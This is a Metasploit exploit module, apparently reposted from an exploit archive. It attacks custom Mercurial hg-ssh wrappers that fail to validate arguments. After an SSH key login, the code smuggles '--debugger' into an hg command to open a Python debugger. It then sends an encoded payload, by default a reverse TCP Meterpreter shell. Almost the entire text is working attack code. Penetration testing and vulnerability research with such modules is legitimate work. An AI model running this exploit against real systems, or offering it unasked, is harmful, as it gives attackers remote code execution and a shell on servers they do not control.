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Mercurial Custom hg-ssh Wrapper Remote Code Execution

Posted on 26 April 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SSH

def initialize(info={})
super(update_info(info,
'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",
'Description' => %q{
This module takes advantage of custom hg-ssh wrapper implementations that don't
adequately validate parameters passed to the hg binary, allowing users to trigger a
Python Debugger session, which allows arbitrary Python code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'claudijd',
],
'References' =>
[
['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Apr 18 2017",
'DefaultTarget' => 0
))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22),
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
]
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def username
datastore['USERNAME']
end

def ssh_priv_key
File.read(datastore['SSH_PRIV_KEY_FILE'])
end

def exploit
factory = ssh_socket_factory
ssh_options = {
auth_methods: ['publickey'],
config: false,
use_agent: false,
key_data: [ ssh_priv_key ],
port: rport,
proxy: factory,
non_interactive: true
}

ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

print_status("#{rhost}:#{rport} - Attempting to login...")

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh
print_good("SSH connection is established.")
ssh.open_channel do |ch|
ch.exec "hg -R --debugger serve --stdio" do |ch, success|
ch.on_extended_data do |ch, type, data|
if data.match(/entering debugger/)
print_good("Triggered Debugger (#{data})")
ch.send_data "#{payload.encoded}
"
else
print_bad("Unable to trigger debugger (#{data})")
end
end
end
end

begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
end

 

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